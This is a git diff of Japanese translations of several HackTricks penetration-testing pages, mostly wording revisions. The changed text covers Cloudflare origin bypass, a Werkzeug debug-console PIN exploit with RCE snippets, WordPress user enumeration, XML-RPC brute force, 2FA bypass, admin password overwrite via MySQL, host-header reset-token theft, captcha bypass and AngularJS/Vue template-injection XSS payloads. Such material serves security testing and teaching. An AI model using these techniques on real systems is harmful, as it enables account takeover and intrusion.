顧客は独自の証明書を設定する代わりに、Cloudflareの証明書を使用して、**テナントに関係なく**Cloudflareからの接続を許可できます。 > [!CAUTION] -> したがって、攻撃者は単に**Cloudflareの証明書を使用してCloudflareにドメインを設定し、**それを**被害者**ドメインの**IP**アドレスにポイントすることができます。この方法では、彼のドメインが完全に保護されていないため、Cloudflareは送信されたリクエストを保護しません。 +> したがって、攻撃者は単に**Cloudflareの証明書を使用してCloudflareにドメインを設定し、**それを**被害者**ドメインの**IP**アドレスにポイントすることができます。この方法では、彼のドメインを完全に保護されていない状態に設定し、Cloudflareは送信されたリクエストを保護しません。 詳細は[**こちら**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。 @@ -105,8 +107,8 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. 自動化されたブラウザとして検出されないヘッドレスブラウザを使用します(そのためにカスタマイズが必要な場合があります)。いくつかのオプションは: -- **Puppeteer:** [puppeteer](https://github.com/puppeteer/puppeteer)のための[ステルスプラグイン](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth)。 -- **Playwright:** [ステルスプラグイン](https://www.npmjs.com/package/playwright-stealth)が近日中にPlaywrightに登場します。進展を[こちら](https://github.com/berstend/puppeteer-extra/issues/454)と[こちら](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)でフォローしてください。 +- **Puppeteer:** [puppeteer](https://github.com/puppeteer/puppeteer)用の[ステルスプラグイン](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth)。 +- **Playwright:** [ステルスプラグイン](https://www.npmjs.com/package/playwright-stealth)が近日中にPlaywrightに登場します。進捗は[こちら](https://github.com/berstend/puppeteer-extra/issues/454)と[こちら](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)でフォローしてください。 - **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver)は最適化されたSelenium Chromedriverパッチです。 ### Cloudflare内蔵のバイパスを持つスマートプロキシ diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index 381c32899..75ef93b87 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## コンソール RCE デバッグが有効な場合、`/console` にアクセスして RCE を取得することができます。 @@ -13,9 +12,9 @@ __import__('os').popen('whoami').read(); インターネット上には、[これ](https://github.com/its-arun/Werkzeug-Debug-RCE)やmetasploitのものなど、いくつかのエクスプロイトがあります。 -## ピン保護 - パストラバーサル +## ピン保護 - パス・トラバーサル -場合によっては、**`/console`** エンドポイントがピンで保護されることがあります。**ファイルトラバーサルの脆弱性**がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。 +場合によっては、**`/console`** エンドポイントがピンで保護されることがあります。**ファイルトラバーサルの脆弱性**がある場合、そのピンを生成するために必要な情報をすべて漏洩させることができます。 ### Werkzeug コンソール PIN エクスプロイト @@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためのPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル(`__init__.py`)におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、[**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。 +"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためにPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル(`__init__.py`)におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、[**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。 コンソールPINを悪用するには、`probably_public_bits` と `private_bits` の2セットの変数が必要です: @@ -33,14 +32,14 @@ shell that runs the server - **`username`**: Flaskセッションを開始したユーザーを指します。 - **`modname`**: 通常は `flask.app` と指定されます。 -- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的には **Flask** に解決されます。 +- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的に **Flask** に解決されます。 - **`getattr(mod, '__file__', None)`**: Flaskディレクトリ内の `app.py` へのフルパスを表します(例: `/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py` が適用できない場合は、**`app.pyc` を試してください**。 #### **`private_bits`** -- **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())` によって10進数形式に変換されます。 +- **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())` によって10進形式に変換されます。 -- サーバーのMACアドレスを**特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例: `ens3`)を特定する必要があります。不明な場合は、**`/proc/net/arp` を漏洩させてデバイスIDを見つけ、次に **`/sys/class/net//address`** からMACアドレスを抽出します。 +- **サーバーのMACアドレスを特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例: `ens3`)を特定する必要があります。不明な場合は、**`/proc/net/arp` をリークしてデバイスIDを見つけ、次に **`/sys/class/net//address`** からMACアドレスを抽出します**。 - 16進数のMACアドレスを10進数に変換する方法は以下の通りです: ```python @@ -95,7 +94,7 @@ try: 必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。 -必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。スクリプトは、組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後、最終的なPINを生成するためにさらに処理されます。以下は、このプロセスを実行するためのPythonコードです: +必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。スクリプトは、組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後さらに処理を行って最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです: ```python import hashlib from itertools import chain @@ -150,11 +149,13 @@ print(rv) [**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれるリクエストを閉じません。そして、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これによりCL.0リクエストスムージングの脆弱性が発生する可能性があります。 -これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能であり、それがサーバーを**壊す**ことになるからです。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 +これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能であり、それがサーバーを**壊す**ことになるからです。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 ## 自動化された悪用 -{% embed url="https://github.com/Ruulian/wconsole_extractor" %} +{{#ref}} +https://github.com/Ruulian/wconsole_extractor +{{#endref}} ## 参考文献 diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 17030a67c..e09201937 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -26,7 +26,7 @@ - `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。 - `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。 - `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。 -- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。 +- `wp-sitemap.xml`は、Wordpressバージョン5.5以降で、Wordpressがすべての公開投稿と公開可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。 **ポストエクスプロイト** @@ -37,7 +37,7 @@ - **管理者** - **エディター**: 自分と他の投稿を公開および管理 - **著者**: 自分の投稿を公開および管理 -- **寄稿者**: 自分の投稿を書くことができ、管理することができますが、公開することはできません +- **寄稿者**: 自分の投稿を書くことができるが、公開できない - **購読者**: 投稿をブラウズし、自分のプロフィールを編集 ## **パッシブ列挙** @@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### プラグインとテーマ -すべてのプラグインとテーマを見つけることはできないでしょう。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。 +すべてのプラグインとテーマを見つけることはおそらくできません。すべてを発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。 ### ユーザー -- **IDブルート:** WordPressサイトからユーザーIDをブルートフォースすることで有効なユーザーを取得します: +- **IDブルート:** ユーザーIDをブルートフォースすることで、WordPressサイトから有効なユーザーを取得します: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -103,7 +103,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。 -- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**指定されたユーザー名が存在するかどうか**で**異なります**。 +- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**によって**異なります**。 ### XML-RPC @@ -134,7 +134,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` メッセージ _"Incorrect username or password"_ は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。 -![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) +![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) @@ -168,13 +168,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -また、**`system.multicall`**を使用して認証情報をブルートフォースする**より速い方法**があります。これにより、同じリクエストで複数の認証情報を試すことができます: +また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことで、資格情報をブルートフォースする**より速い方法**があります:
**2FAのバイパス** -この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な認証情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその認証情報で2FAをバイパスしてログインできる可能性があります**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。 +この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできるかもしれません**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。 **DDoSまたはポートスキャン** @@ -219,13 +219,15 @@ Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpressサイトがあなたにリクエストを送信するかもしれません。 -動作しないときのレスポンスは次のとおりです: +動作しないときの応答は次のとおりです: ![](<../../images/image (365).png>) ## SSRF -{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} +{{#ref}} +https://github.com/t0gu/quickpress/blob/master/core/requests.go +{{#endref}} このツールは、**methodName: pingback.ping**と**/wp-json/oembed/1.0/proxy**のパスが存在するかどうかをチェックし、存在する場合はそれを悪用しようとします。 @@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## ビットを上書きしてアクセスを得る -これは実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。 +実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができます。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -301,7 +303,7 @@ use exploit/unix/webapp/wp_admin_shell_upload - ダウンロードしたプラグインの zip ファイルをアップロードします。 3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。 4. **悪用**: -- "reflex-gallery" プラグインがインストールされ、有効化されている場合、脆弱性が知られているため、悪用することができます。 +- "reflex-gallery" プラグインがインストールされ、有効化されている場合、脆弱性が知られているため悪用できます。 - Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。 - これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことが記載されています。 @@ -328,7 +330,7 @@ mysql -u --password= -h localhost -e "use wordpress;select ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Wordpressプラグインのペンテスト +## Wordpressプラグインペンテスト ### 攻撃面 @@ -343,10 +345,10 @@ Wordpressプラグインがどのように機能を露出させるかを知る add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)によってアクセス可能になります。** +**`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)がアクセス可能になります。** > [!CAUTION] -> さらに、関数が単に`wp_verify_nonce`関数を使用してユーザーの認証を確認している場合、この関数はユーザーがログインしているかどうかを確認するだけであり、通常はユーザーの役割を確認していません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 +> さらに、関数が単に`wp_verify_nonce`関数を使用してユーザーの認証を確認している場合、この関数はユーザーがログインしているかどうかを確認するだけで、通常はユーザーの役割を確認していません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 - **REST API** @@ -362,11 +364,11 @@ $this->namespace, '/get/', array( ``` `permission_callback`は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。 -**組み込みの`__return_true`関数が使用される場合、ユーザー権限のチェックは単にスキップされます。** +**組み込みの`__return_true`関数が使用されている場合、ユーザー権限のチェックは単にスキップされます。** - **phpファイルへの直接アクセス** -もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能です。 +もちろん、WordpressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能です。 ## WordPressの保護 diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index 980655a11..a8396a28d 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -1,38 +1,37 @@ -# Other Web Tricks +# その他のウェブトリック {{#include ./banners/hacktricks-training.md}} - ### Host header -バックエンドは、いくつかのアクションを実行するために**Host header**を信頼することがあります。たとえば、その値を**パスワードリセットを送信するドメイン**として使用することがあります。したがって、パスワードをリセットするためのリンクが含まれたメールを受け取ると、使用されるドメインはHost headerに入力したものになります。その後、他のユーザーのパスワードリセットを要求し、ドメインを自分が制御するものに変更して、彼らのパスワードリセットコードを盗むことができます。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +バックエンドは、いくつかのアクションを実行するために**Host header**を信頼することがあります。例えば、その値を**パスワードリセットを送信するドメイン**として使用することがあります。したがって、パスワードリセットのリンクが含まれたメールを受け取ると、使用されるドメインはHost headerに入力したものになります。その後、他のユーザーのパスワードリセットをリクエストし、ドメインを自分が制御するものに変更して、彼らのパスワードリセットコードを盗むことができます。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。 > [!WARNING] -> ユーザーがリセットパスワードリンクをクリックするのを待つ必要がない可能性があることに注意してください。おそらく、**スパムフィルターや他の中間デバイス/ボットがそれをクリックして分析することもあります**。 +> ユーザーがリセットパスワードリンクをクリックするのを待つ必要がない可能性があることに注意してください。なぜなら、**スパムフィルターや他の中間デバイス/ボットがそれをクリックして分析するかもしれないからです**。 +### セッションブール値 -### Session booleans +時々、いくつかの検証を正しく完了すると、バックエンドは**セッションのセキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、そのチェックに成功したかどうかを知ることができます。\ +しかし、もし**チェックに合格**し、セッションがそのセキュリティ属性に「True」値を付与された場合、**同じ属性に依存する他のリソースにアクセスしようとすることができますが、アクセスする権限はないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。 -時々、いくつかの検証を正しく完了すると、バックエンドは**セキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、そのチェックに成功したかどうかを知ることができます。\ -ただし、**チェックに合格**し、セキュリティ属性に「True」値が付与された場合、**同じ属性に依存する他のリソースにアクセスしようとすることができますが、アクセス権がないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). - -### Register functionality +### 登録機能 既存のユーザーとして登録を試みてください。また、同等の文字(ドット、たくさんのスペース、Unicode)を使用してみてください。 -### Takeover emails +### メールの乗っ取り -メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録されたメールに送信される場合、任意のメールを乗っ取ることができます。また、最初のメールを確認するために2番目のメールを有効にできる場合も、任意のアカウントを乗っ取ることができます。 +メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録したメールに送信される場合、任意のメールを乗っ取ることができます。また、最初のメールを確認するために2番目のメールを有効にできる場合も、任意のアカウントを乗っ取ることができます。 -### Access Internal servicedesk of companies using atlassian +### Atlassianを使用した企業の内部サービスデスクへのアクセス -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{{#ref}} +https://yourcompanyname.atlassian.net/servicedesk/customer/user/login +{{#endref}} -### TRACE method +### TRACEメソッド -開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。たとえば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、Webサーバーは`TRACE`メソッドを使用するリクエストに対して、受信した正確なリクエストを応答にエコーします。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。例えば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、ウェブサーバーは`TRACE`メソッドを使用したリクエストに対して、受信した正確なリクエストを応答にエコーして返します。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 1ace49b9e..74ce5244f 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -7,31 +7,33 @@ **サーバーテスト**中にキャプチャを**バイパス**し、ユーザー入力機能を自動化するために、さまざまな技術を使用できます。目的はセキュリティを損なうことではなく、テストプロセスを効率化することです。以下は包括的な戦略のリストです: 1. **パラメータ操作**: -- **キャプチャパラメータの省略**: キャプチャパラメータを送信しない。HTTPメソッドをPOSTからGETまたは他の動詞に変更し、データ形式を変更する(フォームデータとJSONの切り替えなど)ことを試みる。 +- **キャプチャパラメータの省略**: キャプチャパラメータを送信しない。HTTPメソッドをPOSTからGETや他の動詞に変更したり、データ形式を変更したり、フォームデータとJSONの間で切り替えたりしてみる。 - **空のキャプチャを送信**: キャプチャパラメータを含めてリクエストを送信するが、空のままにする。 2. **値の抽出と再利用**: - **ソースコードの検査**: ページのソースコード内でキャプチャ値を探す。 -- **クッキー分析**: クッキーを調べてキャプチャ値が保存され再利用されているか確認する。 -- **古いキャプチャ値の再利用**: 以前に成功したキャプチャ値を再度使用してみる。ただし、いつでも期限切れになる可能性があることに注意。 +- **クッキー分析**: クッキーを調べて、キャプチャ値が保存され再利用されているか確認する。 +- **古いキャプチャ値の再利用**: 以前に成功したキャプチャ値を再度使用してみる。ただし、いつでも期限切れになる可能性があることに注意する。 - **セッション操作**: 異なるセッションや同じセッションIDで同じキャプチャ値を使用してみる。 3. **自動化と認識**: - **数学的キャプチャ**: キャプチャが数学的操作を含む場合、計算プロセスを自動化する。 - **画像認識**: - 画像から文字を読み取る必要があるキャプチャの場合、手動またはプログラムでユニークな画像の総数を特定する。セットが限られている場合、各画像をMD5ハッシュで識別できるかもしれない。 -- [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)のような光学文字認識(OCR)ツールを利用して、画像から文字を自動的に読み取る。 +- [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)のような光学文字認識(OCR)ツールを利用して、画像からの文字読み取りを自動化する。 4. **追加技術**: -- **レート制限テスト**: アプリケーションが特定の時間内に試行または送信の回数を制限しているか、またこの制限をバイパスまたはリセットできるか確認する。 +- **レート制限テスト**: アプリケーションが特定の時間枠内での試行回数や送信数を制限しているか、またこの制限をバイパスまたはリセットできるか確認する。 - **サードパーティサービス**: 自動キャプチャ認識と解決を提供するキャプチャ解決サービスやAPIを利用する。 -- **セッションとIPのローテーション**: サーバーによる検出とブロックを避けるために、セッションIDとIPアドレスを頻繁に変更する。 +- **セッションとIPのローテーション**: サーバーによる検出やブロックを避けるために、セッションIDやIPアドレスを頻繁に変更する。 - **ユーザーエージェントとヘッダー操作**: ユーザーエージェントや他のリクエストヘッダーを変更して、異なるブラウザやデバイスを模倣する。 - **音声キャプチャ分析**: 音声キャプチャオプションが利用可能な場合、音声からテキストへのサービスを使用してキャプチャを解釈し解決する。 -## Online Services to solve captchas +## captchasを解決するためのオンラインサービス ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)は、さまざまなタイプのキャプチャを自動的に解決することを専門としたAI駆動のサービスで、Webスクレイピング中に開発者が直面するキャプチャの課題を簡単に克服できるようにデータ収集を支援します。**reCAPTCHA V2、reCAPTCHA V3、DataDome、AWS Captcha、Geetest、Cloudflareターンスタイルなど**のキャプチャをサポートしています。開発者向けに、キャプチャ解決をアプリケーションに統合するためのAPI統合オプションが[**ドキュメント**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**で詳述されており、**統合を容易にします。また、[Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod)や[Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)のブラウザ拡張機能も提供しており、ブラウザ内で直接サービスを利用することができます。異なるニーズに対応するためのさまざまな価格パッケージが用意されており、ユーザーに柔軟性を提供します。 +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)は、さまざまなタイプのキャプチャを自動的に解決することを専門としたAI駆動のサービスで、Webスクレイピング中に開発者が直面するキャプチャの課題を簡単に克服できるようにデータ収集を支援します。**reCAPTCHA V2、reCAPTCHA V3、DataDome、AWS Captcha、Geetest、Cloudflareターンスタイルなど**のキャプチャをサポートしています。開発者向けに、キャプチャ解決をアプリケーションに統合するためのAPI統合オプションが[**ドキュメント**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**で詳述されています。**また、[Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod)や[Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)のブラウザ拡張機能も提供しており、ブラウザ内で直接サービスを利用することが簡単です。異なるニーズに対応するためのさまざまな価格パッケージが用意されており、ユーザーに柔軟性を提供しています。 -{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} +{{#ref}} +https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 88b2653dc..5aabacac2 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -2,10 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - ## 概要 -これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)に似ていますが、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザ内で**任意のJavaScript**コードを**実行**することを可能にするかもしれません。 +これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)に似ていますが、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザで**任意のJavaScript**コードを**実行**することを可能にするかもしれません。 この脆弱性の**テスト**は、**SSTI**の場合と非常に**似ています**。インタープリターは**テンプレート**を期待し、それを実行します。例えば、`{{ 7-7 }}`のようなペイロードを使用した場合、アプリが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。 @@ -22,17 +21,16 @@ AngularJSは、ディレクティブとして知られる属性を通じてHTML
``` -あなたは**AngularJS**の脆弱性の非常に**基本的なオンライン例**を[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)と[**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)で見つけることができます。 +非常に**基本的なオンライン例**は、**AngularJS**の脆弱性を[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)で見つけることができ、[**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)でも見つけることができます。 -> [!CAUTION] -> [**Angular 1.6はサンドボックスを削除しました**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)ので、このバージョンからは`{{constructor.constructor('alert(1)')()}}`や``のようなペイロードが機能するはずです。 +> [!CAUTION] > [**Angular 1.6はサンドボックスを削除しました**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)ので、このバージョンからは`{{constructor.constructor('alert(1)')()}}`や``のようなペイロードが機能するはずです。 ## VueJS -あなたは[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)で**脆弱なVue**の実装を見つけることができます。\ +**脆弱なVue**の実装は、[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)で見つけることができます。\ 動作するペイロード: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() -そして、脆弱な例の**ソースコード**はこちら: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) +脆弱な例の**ソースコード**はこちら: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) ```markup ">
aaa
